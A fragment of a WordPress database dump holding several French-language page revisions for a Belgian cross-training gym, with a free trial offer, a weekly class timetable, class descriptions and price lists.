(277, 1, '2013-07-03 20:48:13', '2013-07-03 20:48:13', '&lt;h1&gt;Une séance gratuite?&lt;/h1&gt;\r\nEnvie de découvrir les bienfaits du cross training?\r\nNous vous offrons gratuitement une première séance.\r\nRemplissez le formulaire ci-dessous et nous vous recontacterons pour planifier avec vous votre première séance. \r\n\r\n[contact-form-7 id=\&quot;265\&quot; title=\&quot;Seance_gratuite\&quot;]', 'Séance gratuite', '', 'inherit', 'open', 'open', '', '266-revision-v1', '', '', '2013-07-03 20:48:13', '2013-07-03 20:48:13', '', 266, 'http://www.crosstrainingcenter.be/?p=277', 0, 'revision', '', 0),
(317, 1, '2013-07-04 16:35:10', '2013-07-04 16:35:10', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-04 16:35:10', '2013-07-04 16:35:10', '', 11, 'http://www.crosstrainingcenter.be/11-revision-104/', 0, 'revision', '', 0),
(278, 1, '2013-07-03 20:45:06', '2013-07-03 20:45:06', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 20:45:06', '2013-07-03 20:45:06', '', 11, 'http://www.crosstrainingcenter.be/?p=278', 0, 'revision', '', 0);
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(279, 1, '2013-07-03 21:04:43', '2013-07-03 21:04:43', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 21:04:43', '2013-07-03 21:04:43', '', 11, 'http://www.crosstrainingcenter.be/?p=279', 0, 'revision', '', 0),
(321, 1, '2013-07-10 15:43:05', '2013-07-10 15:43:05', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td 